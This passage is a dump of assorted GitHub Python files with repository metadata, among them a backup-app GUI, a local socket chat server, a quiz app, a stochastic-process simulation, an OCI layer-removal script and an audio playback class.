self.__excluded_folders)\n\n def remove_selected_excluded_folder(self, *args):\n \"\"\"\n remove the currently selected\n item in the excluded folders ListBox,\n will ask the user to confirm\n \"\"\"\n\n curr_selection = self.__excluded_folders_lb.curselection()\n # check if there is a selection\n if curr_selection:\n if messagebox.askyesno(\"Confirm Delete\", \"Are you want to delete this folder?\"):\n index_to_del = curr_selection[0]\n self.__excluded_folders.pop(index_to_del)\n self.__app_config.set_excluded_folders(self.__curr_config, self.__excluded_folders)\n self.__excluded_folders_lb.delete(index_to_del)\n self.deselect_excluded_folder()\n\n def set_backup_folder(self):\n \"\"\"\n sets the backup folder by asking the user for a base directory\n \"\"\"\n folder = filedialog.askdirectory(initialdir=\"/\", title=\"Select Where To Backup To\")\n if folder:\n self.__backup_location = Path(folder)\n self.__backup_folder_l.config(text=folder)\n self.__app_config.set_backup_path(self.__curr_config, self.__backup_location)\n\n def enable_gui(self):\n \"\"\"\n enable the gui buttons, run when a backup has completed\n \"\"\"\n self.__set_versions_to_keep.config(state=NORMAL)\n self.__inc_folder_bnt.config(state=NORMAL)\n self.__included_folders_lb.config(state=NORMAL)\n self.__excl_folder_bnt.config(state=NORMAL)\n self.__excluded_folders_lb.config(state=NORMAL)\n self.__backup_to_bnt.config(state=NORMAL)\n self.__use_tar.config(state=NORMAL)\n self.__backup_start_bnt.config(state=NORMAL)\n\n def disable_gui(self):\n \"\"\"\n disable the gui buttons, run when a backup is started\n \"\"\"\n self.__set_versions_to_keep.config(state=DISABLED)\n self.__inc_folder_bnt.config(state=DISABLED)\n self.__included_folders_lb.config(state=DISABLED)\n self.__excl_folder_bnt.config(state=DISABLED)\n self.__excluded_folders_lb.config(state=DISABLED)\n self.__backup_to_bnt.config(state=DISABLED)\n self.__use_tar.config(state=DISABLED)\n self.__backup_start_bnt.config(state=DISABLED)\n\n def progress_find_incr(self, finished=False):\n \"\"\"\n increment the progress bar for finding\n files by 1 or mark as finished\n\n :param finished: mark the progressbar as finished\n \"\"\"\n if finished:\n self.__progress.config(mode=\"determinate\")\n self.__progress.config(value=0, maximum=self.__files_found)\n self.__statusbar.config(text=f\"Found {self.__files_found} Files\")\n else:\n self.__files_found += 1\n self.__progress.config(value=self.__files_found)\n self.__statusbar.config(text=f\"Searching For Files, Found {self.__files_found} Files\")\n\n def progress_copy_incr(self):\n \"\"\"\n increment the progress bar for copying\n files by 1 or mark as finished\n \"\"\"\n self.__files_copied += 1\n self.__progress.config(value=self.__files_copied)\n self.__statusbar.config(text=f\"Copying Files {self.__files_copied} of {self.__files_found}\")\n if self.__files_copied == self.__files_found:\n self.__app_config.set_last_backup(self.__curr_config, datetime.utcnow())\n self.__last_backup_l.config(text=f\"Last Known Backup: {self.__app_config.get_human_last_backup(self.__curr_config)}\")\n self.__statusbar.config(text=f\"Finished Copying Files\")\n messagebox.showinfo(title=\"Finished Copying Files\", message=\"Finished copying all found files\")\n # reset counters\n self.__files_found = 0\n self.__files_copied = 0\n self.__progress.config(value=0, maximum=100)\n self.enable_gui()\n\n def start_backup(self):\n \"\"\"\n starts the backup\n \"\"\"\n if not self.__backup_location:\n # no backup location was selected\n messagebox.showwarning(\n title=\"Backup Location Not Selected\",\n message=\"You did not select a backup location!\")\n elif not self.__included_folders:\n # no folders where found to backup\n messagebox.showwarning(\n title=\"No Folders To Backup\",\n message=\"You did not add any folders to backup!\")\n else:\n # basic checks passed\n self.disable_gui()\n # prep for search of files\n self.__progress.config(mode=\"indeterminate\")\n self.__statusbar.config(text=f\"Searching For Files\")\n\n self.__thread = BackupThread(\n self.__included_folders, self.__excluded_folders,\n self.__backup_location, self.__versions_to_keep,\n self.progress_find_incr, self.progress_copy_incr,\n self.handle_error_message, self.__use_tar_var.get()\n )\n # start the background backup thread so GUI wont appear frozen\n self.__thread.start()\n\n def show_about_popup(self):\n \"\"\"\n show the about popup\n \"\"\"\n messagebox.showinfo(\n \"About\",\n \"simplebackup V\" + __version__ + \"\"\" is cross-platform backup program written in python.\nThis app was made by enchant97/Leo Spratt.\nIt is licenced under GPL-3.0\"\"\")\n\n def show_update_popup(self):\n \"\"\"\n open the default webbrowser to the update url\n \"\"\"\n webbrowser.open(UPDATE_URL)\n\n def show_help_popup(self):\n messagebox.showinfo(\"Welcome\", \"\"\"Welcome to simplebackup, here is some help to get you started:\n\\nIncluding a folder to backup\n - Press the 'Include Folder' button to add a folder to backup\n - Remove a entry by clicking on the list below\n\\nExcluding a folder from the backup\n - Press the 'Exclude Folder' button to skip a folder to backup\n - Remove a entry by clicking on the list below\n\\nSetting where backups are stored\n - Click the 'Backup Folder' button to set where backups should be placed\n\\nMultiple backup configs\n Use the 'Config' button in the titlebar to change varius settings like creating a new config\n\\nVersions to keep\n This will be the number of backup to keep in the backup folder\n\"\"\")\n self.__app_config.show_help = False\n\n def handle_error_message(self, error_type: ERROR_TYPES):\n self.__statusbar.config(text=\"Failed\")\n if error_type is ERROR_TYPES.NO_BACKUP_WRITE_PERMISION:\n messagebox.showerror(\"No Write Permission\", ERROR_TYPES.NO_BACKUP_WRITE_PERMISION.value)\n elif error_type is ERROR_TYPES.NO_BACKUP_READ_PERMISION:\n messagebox.showerror(\"No Read Permission\", ERROR_TYPES.NO_BACKUP_READ_PERMISION.value)\n elif error_type is ERROR_TYPES.NO_FILES_FOUND_TO_BACKUP:\n messagebox.showerror(\"No Files Found\", ERROR_TYPES.NO_FILES_FOUND_TO_BACKUP.value)\n elif error_type is ERROR_TYPES.NO_BACKUP_PATH_FOUND:\n messagebox.showerror(\"No Backup Path Found\", ERROR_TYPES.NO_BACKUP_PATH_FOUND.value)\n self.__progress.config(mode=\"determinate\")\n self.enable_gui()\n\n def _layout(self):\n self.config(menu=self.__menu)\n self.__title_l.pack(fill=X, pady=10, padx=5)\n self.__curr_config_name_l.pack(fill=X, padx=5)\n self.__last_backup_l.pack(fill=X, padx=5)\n self.__set_versions_to_keep.pack(fill=X, padx=5)\n self.__versions_to_keep_l.pack(fill=X, padx=5)\n self.__inc_folder_bnt.pack(fill=X, padx=5)\n self.__included_folders_lb.pack(fill=X, padx=5)\n self.__excl_folder_bnt.pack(fill=X, padx=5)\n self.__excluded_folders_lb.pack(fill=X, padx=5)\n self.__backup_to_bnt.pack(fill=X, padx=5)\n self.__backup_folder_l.pack(fill=X, padx=5)\n self.__use_tar_l.pack(fill=X, padx=5)\n self.__use_tar.pack(fill=X, padx=5)\n self.__backup_start_bnt.pack(fill=X, padx=5)\n self.__progress.pack(fill=X)\n self.__statusbar.pack(side=BOTTOM, fill=X)\n self.wm_minsize(300, self.winfo_height())\n self.wm_resizable(True, False)\n","repo_name":"enchant97/python-simplebackup","sub_path":"simplebackup/gui/root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":19184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23852046258","text":"import socket\nimport threading\nimport time\n\nIP = \"127.0.0.1\"\nPORT = 25565\n\nserver_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_sock.bind((IP, PORT))\nserver_sock.listen()\nconn, addr = server_sock.accept()\n\ndef recv():\n while True:\n income_message = conn.recv(1024)\n print(\"client: \" + income_message.decode())\n\ndef send():\n while True:\n message =input(\"\")\n conn.send(message.encode())\n if message == \"break\":\n break\n\ndef main():\n x = threading.Thread(target=recv, args=())\n x.start()\n y = threading.Thread(target=send, args=())\n y.start()\n\n print(\"started threads!\")\n if not send():\n x.join()\n y.join()\n server_sock.close()\n print(\"stop\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"marktanner1331/code-translater","sub_path":"Code TranslaterTests/Scripts/Python/6/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37125843266","text":"import tkinter as tk\r\nimport pandas as pd\r\nfrom tkinter import messagebox\r\n\r\nclass SatooriTestApp:\r\n def __init__(self, root):\r\n self.root = root\r\n self.questions = []\r\n self.answers = []\r\n self.choices = []\r\n self.current_question_index = 0\r\n self.score = 0\r\n self.results = []\r\n\r\n self.load_file()\r\n\r\n self.question_label = tk.Label(self.root, text=\"\", font=(\"Arial\", 11))\r\n self.question_label.pack()\r\n\r\n self.choice_buttons = []\r\n for i in range(4):\r\n button = tk.Button(self.root, text=\"\", command=lambda i=i: self.select_answer(i))\r\n button.pack(side=tk.TOP, padx=10, pady=5)\r\n self.choice_buttons.append(button)\r\n\r\n self.score_label = tk.Label(self.root, text=\"\")\r\n self.score_label.pack(pady=10)\r\n\r\n self.load_next_question()\r\n\r\n def load_file(self):\r\n file_path = \"test_data.xlsx\"\r\n\r\n if file_path:\r\n df = pd.read_excel(file_path)\r\n self.questions = df.iloc[:, 0].tolist()\r\n self.answers = df.iloc[:, 1].tolist()\r\n self.choices = df.iloc[:, 2:].values.tolist()\r\n\r\n def load_next_question(self):\r\n if self.current_question_index < len(self.questions):\r\n question = self.questions[self.current_question_index]\r\n choices = self.choices[self.current_question_index]\r\n self.question_label.config(text=question)\r\n\r\n for i in range(4):\r\n self.choice_buttons[i].config(text=choices[i], width=30)\r\n\r\n def select_answer(self, choice_index):\r\n user_answer = self.choices[self.current_question_index][choice_index]\r\n correct_answer = self.answers[self.current_question_index]\r\n\r\n if user_answer == correct_answer:\r\n self.score += 1\r\n\r\n result = {\r\n \"문제\": self.questions[self.current_question_index],\r\n \"선택한 답변\": user_answer,\r\n \"정답\": correct_answer,\r\n \"점수\": self.score\r\n }\r\n self.results.append(result)\r\n\r\n self.current_question_index += 1\r\n self.load_next_question()\r\n\r\n if self.current_question_index == len(self.questions):\r\n self.show_final_score()\r\n\r\n def show_final_score(self):\r\n self.root.title(\"결과\")\r\n self.question_label.destroy()\r\n for i in range(4):\r\n self.choice_buttons[i].destroy()\r\n self.root.title(\"결과\")\r\n self.root.geometry(\"400x400\")\r\n\r\n self.result_label = tk.Label(self.root, text=\"테스트가 종료되었습니다.\")\r\n self.result_label.pack(pady=10)\r\n\r\n self.score_label = tk.Label(self.root, text=f\"점수: {self.score} / 10\")\r\n self.score_label.pack()\r\n\r\n try:\r\n user_data = pd.read_excel('user_data.xlsx')\r\n user_age = user_data['Age'][0]\r\n except FileNotFoundError:\r\n user_age = -1\r\n\r\n if user_age < 25 and self.score >= 9:\r\n message = f\"{user_age}살 인데도 사투리를 잘 아시는 거보니 \\n경상도에서 태어나셨군요!\"\r\n elif user_age >= 25 and self.score >= 9:\r\n message = f\"{user_age}살 이신 걸 보니 \\n사투리를 잘 아실만 하시네요!\"\r\n else:\r\n message = \"경상도 분이 아니신가봐요!\"\r\n\r\n self.message_label = tk.Label(self.root, text=message)\r\n self.message_label.pack(pady=10)\r\n\r\n self.exit_button = tk.Button(self.root, text=\"종료\", command=lambda : self.root.destroy())\r\n self.exit_button.pack(side=tk.RIGHT, padx=5, pady=10, anchor=tk.SE)\r\n \r\n self.button_more_tests = tk.Button(self.root, text=\"테스트 더 해보기\", command=self.open_test_select)\r\n self.button_more_tests.pack(side=tk.RIGHT, padx=5, pady=10, anchor=tk.SE)\r\n\r\n self.save_results_to_file()\r\n\r\n def open_test_select(self):\r\n self.root.destroy()\r\n from test_select import testselectApp\r\n testselectApp(self.root)\r\n\r\n def save_results_to_file(self):\r\n file_path = \"test1_results.xlsx\"\r\n df = pd.DataFrame(self.results)\r\n df.to_excel(file_path, index=False)\r\n","repo_name":"woosy123/python-project","sub_path":"최준환/SatooriTest.py","file_name":"SatooriTest.py","file_ext":"py","file_size_in_byte":4222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16371148190","text":"\"\"\"\nA module for representing triangular state space vector systems.\n\n\"\"\"\n\nclass TriSS:\n \"\"\"\n A class for representing the following triangular state space vector\n system:\n\n X_{1,t+1} = Θ_10 + Θ_11 * X_{1,t} + Λ_10 * W_{t+1}\n X_{2,t+1} = Θ_20 + Θ_21 * X_{1,t} + Θ_22 * X_{2,t}\n + Θ_23 * (X_{1,t} ⊗ X_{1,t}) + Λ_20 W_{t+1}\n + Λ_21 (X_{1,t} ⊗ W_{t+1}) + Λ_22 (W_{t+1} ⊗ W_{t+1})\n\n Parameters\n ----------\n Θ_10, Θ_11, Λ_10, Θ_20, Θ_21, Θ_22, Θ_23, Λ_20, Λ_21, Λ_22 : ndarray(float, ndim=2)\n See above.\n\n Attributes\n ----------\n Θ_10, Θ_11, Λ_10, Θ_20, Θ_21, Θ_22, Θ_23, Λ_20, Λ_21, Λ_22 : See above\n\n References\n ----------\n\n .. [1] Borovička, Jaroslav & Hansen, Lars Peter, 2014. \"Examining\n macroeconomic models through the lens of asset pricing,\" Journal of\n Econometrics, Elsevier, vol. 183(1), pages 67-90.\n\n \"\"\"\n\n def __init__(self, Θ_10, Θ_11, Λ_10, Θ_20, Θ_21, Θ_22, Θ_23, Λ_20, Λ_21,\n Λ_22):\n self.Θ_10 = Θ_10\n self.Θ_11 = Θ_11\n self.Λ_10 = Λ_10\n self.Θ_20 = Θ_20\n self.Θ_21 = Θ_21\n self.Θ_22 = Θ_22\n self.Θ_23 = Θ_23\n self.Λ_20 = Λ_20\n self.Λ_21 = Λ_21\n self.Λ_22 = Λ_22\n\n\ndef map_perturbed_model_to_tri_ss(perturbed_model_params):\n \"\"\"\n Maps parameters from the perburbed model into the triangular system.\n\n Parameters\n ----------\n perturbed_model_params : dict\n Dictionary containing the following keys corresponding to the\n perturbed model parameters: ψ_q, ψ_x, ψ_w, ψ_qq, ψ_xq, ψ_xx, ψ_wq,\n ψ_xw, ψ_ww\n\n Returns\n ----------\n tri_ss : TriSS\n The corresponding triangular state vector system represented as a\n `TriSS` object.\n\n References\n ----------\n\n .. [1] Borovička, Jaroslav & Hansen, Lars Peter, 2014. \"Examining\n macroeconomic models through the lens of asset pricing,\" Journal of\n Econometrics, Elsevier, vol. 183(1), pages 67-90.\n\n \"\"\"\n\n tri_ss_params = {\n 'Θ_10': perturbed_model_params['ψ_q'],\n 'Θ_11': perturbed_model_params['ψ_x'],\n 'Λ_10': perturbed_model_params['ψ_w'],\n 'Θ_20': perturbed_model_params['ψ_qq'],\n 'Θ_21': 2 * perturbed_model_params['ψ_xq'],\n 'Θ_22': perturbed_model_params['ψ_x'],\n 'Θ_23': perturbed_model_params['ψ_xx'],\n 'Λ_20': 2 * perturbed_model_params['ψ_wq'],\n 'Λ_21': 2 * perturbed_model_params['ψ_xw'],\n 'Λ_22': perturbed_model_params['ψ_ww']\n }\n\n tri_ss = TriSS(*tri_ss_params.values())\n\n return tri_ss\n","repo_name":"lphansen/AP2_Homework","sub_path":"tri_ss.py","file_name":"tri_ss.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"2942087301","text":"#!/usr/bin/env python\n\nimport hashlib\nimport json\nimport os\nfrom os.path import join\nimport sys\n\n\ndef write_blob(blob):\n sha256 = hashlib.sha256(blob.encode(\"ascii\")).hexdigest()\n blob_path = join(oci_dir, \"blobs\", \"sha256\", sha256)\n if os.path.isfile(blob_path):\n print(\"{} already exists, skipping.\".format(sha256))\n return sha256\n with open(blob_path, \"w\") as f:\n f.write(blob)\n print(\"{} added to blob store\".format(sha256))\n return sha256\n\n\noci_dir = sys.argv[1]\n\n\nindex_data = json.load(open(join(oci_dir, \"index.json\")))\nmust_write_index = False\nfor manifest in index_data[\"manifests\"]:\n digest_hash = manifest[\"digest\"]\n digest_path = join(oci_dir, \"blobs\", digest_hash.replace(\":\", \"/\"))\n print(\"Found image manifest: \"+digest_path)\n digest_data = json.load(open(digest_path))\n config_hash = digest_data[\"config\"][\"digest\"]\n config_path = join(oci_dir, \"blobs\", config_hash.replace(\":\", \"/\"))\n config_data = json.load(open(config_path))\n print(\"Architecture={architecture}, OS={os}\".format(**config_data))\n\n layer_position_in_history = []\n history_pos = 0\n for layer_pos in range(len(digest_data[\"layers\"])):\n while config_data[\"history\"][history_pos].get(\"empty_layer\"):\n history_pos += 1\n layer_position_in_history.append(history_pos)\n history_pos += 1\n\n hashes_to_remove = sys.argv[2:][::]\n history = [layer for layer in config_data[\"history\"] if not layer.get(\"empty_layer\")]\n for layer, history, position in zip(digest_data[\"layers\"], history, layer_position_in_history):\n if \"#LAYEREMOVE#\" in history[\"created_by\"]:\n hashes_to_remove.append(layer[\"digest\"])\n print(\"- layer {digest}, size {size} bytes ({created_by}), #{position} in history\".format(\n digest=layer[\"digest\"], size=layer[\"size\"],\n created_by=history[\"created_by\"], position=position))\n\n must_write_config = False\n for layer_pos in reversed(range(len(digest_data[\"layers\"]))):\n if digest_data[\"layers\"][layer_pos][\"digest\"] in hashes_to_remove:\n print(\"Removing layer #{}.\".format(layer_pos))\n digest_data[\"layers\"].pop(layer_pos)\n config_data[\"rootfs\"][\"diff_ids\"].pop(layer_pos)\n config_data[\"history\"][layer_position_in_history[layer_pos]][\"created_by\"] += \"[REMOVED]\"\n config_data[\"history\"][layer_position_in_history[layer_pos]][\"empty_layer\"] = True\n must_write_config = True\n\n if must_write_config:\n new_config_hash = write_blob(json.dumps(config_data))\n digest_data[\"config\"][\"digest\"] = \"sha256:\" + new_config_hash\n digest_data[\"config\"][\"size\"] = os.stat(join(oci_dir, \"blobs\", \"sha256\", new_config_hash)).st_size\n new_digest_hash = write_blob(json.dumps(digest_data))\n manifest[\"digest\"] = \"sha256:\" + new_digest_hash\n manifest[\"size\"] = os.stat(join(oci_dir, \"blobs\", \"sha256\", new_digest_hash)).st_size\n must_write_index = True\n\nif must_write_index:\n with open(join(oci_dir, \"index.json\"), \"w\") as f:\n json.dump(index_data, f)\n\n\n\n","repo_name":"jpetazzo/layeremove","sub_path":"layeremove.py","file_name":"layeremove.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"75"} +{"seq_id":"28642793686","text":"import sys\n\ndef flip(l):\n l = l[::-1]\n for i in range(len(l)):\n if l[i] == \"+\":\n l[i] = \"-\"\n else:\n l[i] = \"+\"\n return l\n\ndef solution(s):\n #return flip times\n l = list(s)\n last = len(s)-1\n res = 0\n while '-' in l:\n i=0\n while i= 0 and \"_\" in self.__guessed_word:\n if char in self.__word and char not in self.__guessed_word:\n _indexes = self._get_all_the_index_occur(char)\n for indx in _indexes:\n self.__guessed_word[indx] = char\n else:\n self.remaining_guesses -= 1\n else:\n raise ValueError(\"The Game Is Over Sir !!\")\n\n def get_masked_word(self):\n\n return \"\".join(self.__guessed_word)\n\n def get_status(self):\n\n print(\"\".join(self.__guessed_word), self.__word)\n if self.remaining_guesses >= 0 and \"\".join(\n self.__guessed_word) != self.__word:\n self.status = STATUS_ONGOING\n elif \"\".join(self.__guessed_word) == self.__word:\n self.status = STATUS_WIN\n else:\n self.status = STATUS_LOSE\n\n return self.status\n\n def _get_all_the_index_occur(self, char):\n\n indexes = []\n for c, word in enumerate(self.__word):\n if char == word:\n indexes.append(c)\n\n return indexes\n","repo_name":"MockArch/EverydayAlgorithms","sub_path":"exercism/python/hangman/hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23414668402","text":"import seaborn as sns\r\nimport matplotlib.pyplot as plt\r\n\r\ntips = sns.load_dataset(\"tips\")\r\nanscombe = sns.load_dataset(\"anscombe\")\r\n\r\nviolin, ax = plt.subplots()\r\nax = sns.violinplot(x = 'time', y = 'total_bill', hue = 'sex', data = tips, split = True)\r\nplt.show()\r\n\r\nscatter = sns.lmplot(x = 'total_bill', y = 'tip', data = tips, hue = 'sex', fit_reg = False)\r\nplt.show()\r\n\r\nfig = sns.pairplot(tips, hue = 'sex')\r\nplt.show()\r\n\r\nscatter = sns.lmplot(x = 'total_bill', y = 'tip', data = tips, fit_reg = False, hue = 'sex',\r\n scatter_kws = {'s': tips['size'] * 10})\r\nplt.show()\r\n\r\nscatter = sns.lmplot(x = 'total_bill', y = 'tip', data = tips,\r\n fit_reg = False, hue = 'sex', markers = ['o', 'x'],\r\n scatter_kws = {'s': tips['size'] * 10})\r\nplt.show()\r\n\r\nanscombe_plot = sns.lmplot(x = 'x', y = 'y', data = anscombe,\r\n fit_reg = False,\r\n col = 'dataset', col_wrap = 2)\r\nplt.show()","repo_name":"peiyanpan/python-pandas-tutorial","sub_path":"page067.py","file_name":"page067.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35364460933","text":"from pydantic import BaseModel\nfrom typing import Optional\nfrom enum import Enum, IntEnum\nfrom datetime import datetime\n\n\nclass FreshWaterTypeEnum(Enum):\n river = \"Река\"\n lake = \"Озеро\"\n\nclass SeaWaterTypeEnum(Enum):\n sea = \"Море\"\n ocean = \"Океан\"\n\nclass ReportTypeEnum(IntEnum):\n fresh_water = 1\n sea_water = 2\n gas = 3\n\nclass Report(BaseModel):\n id: int\n type: ReportTypeEnum\n lat: float\n lon: float\n created: datetime = None\n filled: bool = False\n uploaded: bool = False\n title: str\n description: str\n id_in_table: int\n\n\nclass GasReport(BaseModel):\n id: int\n lat: float\n lon: float\n co: float\n so: float\n sio: float\n \nclass FreshWaterReport(BaseModel):\n id: int\n lat: float\n lon: float\n temperature: float\n salinity: float\n water_type: FreshWaterTypeEnum\n\nclass SeaWaterReport(BaseModel):\n id: int\n lat: float\n lon: float\n temperature: float\n salinity: float\n water_type: SeaWaterTypeEnum\n\n\nclass ParamTypeEnum(Enum):\n INT = 'int'\n FLOAT = 'float'\n STR = 'str'\n TEXT = 'text'\n FILE = 'file'\n PHOTO = 'photo'\n VIDEO = 'video'\n SET = 'set'\n\nclass Template(BaseModel):\n id: int\n name: str\n description: str\n parent_id: Optional[int] = None\n\nclass Parameter(BaseModel):\n id: int\n label: str\n type: ParamTypeEnum\n unit: Optional[str] = None\n min_value: Optional[float] = None\n max_value: Optional[float] = None\n allowed_values: Optional[str] = None\n is_multiple: bool = False\n\nclass TemplateParameter(BaseModel):\n id: int\n template_id: int\n parameter_id: int\n parameter_order: int = 0\n is_required: bool = False","repo_name":"pikvic/ecology-api","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27323768484","text":"originfile='/data/use.codevecs.h5'\r\nconvertedfile='/data/use.codevecs.normalized.h5'\r\n\r\nimport tables \r\nimport utils\r\nimport numpy as np\r\nfrom utils import normalize\r\nh5f = tables.open_file(originfile)\r\nvecs= h5f.root.vecs\r\nvecs= normalize(vecs)\r\n \r\n \r\n \r\nnpvecs=np.array(vecs)\r\nfvec = tables.open_file(convertedfile, 'w')\r\natom = tables.Atom.from_dtype(npvecs.dtype)\r\nfilters = tables.Filters(complib='blosc', complevel=5)\r\nds = fvec.create_carray(fvec.root, 'vecs', atom, npvecs.shape,filters=filters)\r\nds[:] = npvecs\r\nfvec.close()\r\n","repo_name":"xjtuncy/DeepCS","sub_path":"keras/norm_code_repr.py","file_name":"norm_code_repr.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"12346165903","text":"import sys\nimport matplotlib.pyplot as plt\nimport argparse\nfrom sp_sims.simulators.stochasticprocesses import *\nfrom sp_sims.statistics.statistics import *\nfrom sp_sims.estimators.estimators import viterbi\n\n# NOT FINISHED\n# Merely somethign I whipped up in a few minutes\n\ndef argparser(parser: argparse.ArgumentParser):\n parser.add_argument('--length',\n dest='length',\n default=1000,\n type=int,\n help='Length of episode in discrete realizations.')\n parser.add_argument('--mu',\n dest='mu',\n default = 1.5,\n type=float,\n help='Service Rate')\n parser.add_argument('--lambda',\n dest='lam',\n default=1.0,\n type=float,\n help='Birth Rate')\n parser.add_argument('--samprate',\n dest='samprate',\n default=1.0,\n type=float,\n help='Rate at which we sample real line.')\n parser.add_argument('--init_state',\n dest='init_state',\n type=int,\n default = 0,\n help='Initial State in the real line.(Amnt of current events)')\n\nif __name__ == '__main__':\n\n # Estimating Birth/Death \n parser = argparse.ArgumentParser(description='Estimating Birth Intensity')\n argparser(parser)\n\n args = parser.parse_args()\n print(args)\n\n # Get Our Tape of Birth Death\n rates = {\"lambda\": args.lam,\"mu\":args.mu} #This should keep us within the corner\n embedded_sp = EmbeddedMarkC_BD(args.length,rates)\n emb_hold_tape, emb_state_tape = embedded_sp.generate_history(args.init_state)\n\n \n # Sample the tapes\n samp_state_tape = simple_sample(args.samprate, emb_state_tape, emb_hold_tape)\n\n # Plot the Empirical Distribution\n plt.hist(samp_state_tape,density=True,bins=20)\n\n #Plot the true distributoin\n maxx = np.max(samp_state_tape)\n x = np.linspace(1,maxx,100)\n # Theres a different expression for n = 0. Will add later\n meep = lambda expo: (args.lam/args.mu)**expo\n y = meep(x)\n y /= 1 + np.sum([meep(i-1) for i in range(1,1000)])\n y0 = 1/(1+ np.sum([meep(i-1) for i in range(1,1000)]))\n x = np.insert(x,0,0)\n y = np.insert(y,0,y0)\n plt.plot(x,y)\n plt.show()\n \n\n # best_path = viterbi(emb_state_tape, (1,0),\n\n \n","repo_name":"ottersome/StochasticProcesses","sub_path":"past_experiments/stationary_dist.py","file_name":"stationary_dist.py","file_ext":"py","file_size_in_byte":2537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18451023984","text":"from dataclasses import dataclass\nfrom unit import msec, st_time\nfrom audio import Audio\nfrom sounddevice import OutputStream, CallbackStop\nimport soundfile\nimport numpy as np\n\n\n@dataclass\nclass _State:\n buff_first_frame: int\n buff_last_frame: int\n buff_output_time: st_time\n\n\nclass Playback:\n _audio: Audio\n _loop: bool\n _start_position: msec\n _stream: OutputStream | None = None\n _state: _State | None = None\n\n def __init__(\n self,\n audio: Audio,\n start_position: msec,\n loop: bool,\n ):\n self._audio = audio\n self._start_position = start_position\n self._loop = loop\n\n assert 0 <= start_position <= self._audio.length\n\n self._stream = OutputStream(\n samplerate=audio.sample_rate,\n channels=audio.channels,\n callback=self.stream_callback,\n )\n\n def start(self):\n assert self._stream is not None\n assert not self._stream.active\n self._stream.start()\n\n def stream_callback(\n self, buff: np.ndarray, buff_size: int, time, _\n ):\n state = self._state\n first_frame = (\n self._audio.frame_at(self._start_position)\n if state is None\n else state.buff_last_frame + 1\n )\n last_frame, reached_end = _fill_buffer(\n buff, buff_size, first_frame, self._loop, self._audio\n )\n if state is None:\n self._state = _State(\n buff_first_frame=first_frame,\n buff_last_frame=last_frame,\n buff_output_time=time.outputBufferDacTime,\n )\n else:\n state.buff_first_frame = first_frame\n state.buff_last_frame = last_frame\n state.buff_output_time = time.outputBufferDacTime\n if reached_end:\n raise CallbackStop()\n\n def abort(self):\n assert self._stream is not None\n self._stream.close()\n self._stream = None\n\n def stop(self):\n assert self._stream is not None\n self._stream.stop()\n self._stream.close()\n self._stream = None\n\n def loop_on(self):\n self._loop = True\n\n def loop_off(self):\n self._loop = False\n\n @property\n def loop(self) -> bool:\n return self._loop\n\n def current_position(self) -> msec | None:\n frame = self._estimate_current_frame()\n if frame is None:\n return None\n return self._audio.position_at(frame)\n\n def playing(self) -> bool:\n return self.current_position() is not None\n\n def _estimate_current_frame(self) -> int | None:\n state = self._state\n stream = self._stream\n if state is None or stream is None:\n return None\n dst = state.buff_output_time - stream.time\n return (\n state.buff_first_frame - dst * self._audio.sample_rate\n if dst > 0.0\n else None\n )\n\n\ndef _fill_buffer(\n buff: np.ndarray,\n buff_size: int,\n first_frame: int,\n loop: bool,\n audio: Audio,\n) -> tuple[int, bool]:\n data = audio.data\n reached_end = False\n\n if loop:\n left, right = audio.section_at(first_frame)\n right = right or audio.frames - 1\n left = left or 0\n size = min(buff_size, right - first_frame + 1)\n last_frame = first_frame + size - 1\n buff[:size] = data[first_frame : last_frame + 1]\n if size < buff_size:\n # Expects that 'buff_size' is sufficiently small\n # than the size of the current section.\n last_frame = left + buff_size - size - 1\n buff[size:] = data[left : last_frame + 1]\n\n else:\n size = min(buff_size, len(data) - first_frame)\n last_frame = first_frame + size - 1\n buff[:size] = data[first_frame : last_frame + 1]\n if size < buff_size:\n buff[size:] = 0\n reached_end = True\n\n return last_frame, reached_end\n\n\nif __name__ == \"__main__\":\n sample = \"./tmp/sample.wav\"\n # sample = \"./tmp/loretta.wav\"\n data, fs = soundfile.read(sample, always_2d=True)\n\n start_position = msec(0)\n audio = Audio(data, fs, _markers=[msec(5000), msec(10000)])\n loop = True\n pb = None\n\n while True:\n cmd = input(\"command > \")\n if cmd == \"time\" and pb is not None:\n time = pb.current_position()\n if time is not None:\n print(\"time: \", time / 1000, \" [s]\")\n elif cmd == \"stop\" and pb is not None:\n start_position = pb.current_position() or msec(0)\n pb.stop()\n pb = None\n elif cmd == \"start\" and pb is None:\n pb = Playback(audio, start_position, loop)\n pb.start()\n elif cmd == \"quit\":\n if pb is not None:\n pb.abort()\n break\n elif cmd == \"loop on\":\n loop = True\n if pb is not None:\n pb.loop_on()\n elif cmd == \"loop off\":\n loop = False\n if pb is not None:\n pb.loop_off()\n","repo_name":"fujidaiti/audipi","sub_path":"playback.py","file_name":"playback.py","file_ext":"py","file_size_in_byte":5066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72501289521","text":"def minimumSwaps(arr):\n \"\"\"\n intuition:\n from left to right, when we find i != elem, we try to find the smallest number in range(i+1,len(arr))\n and we will call the above range as \"right portion of the array\"\n we swap elem with smallest number 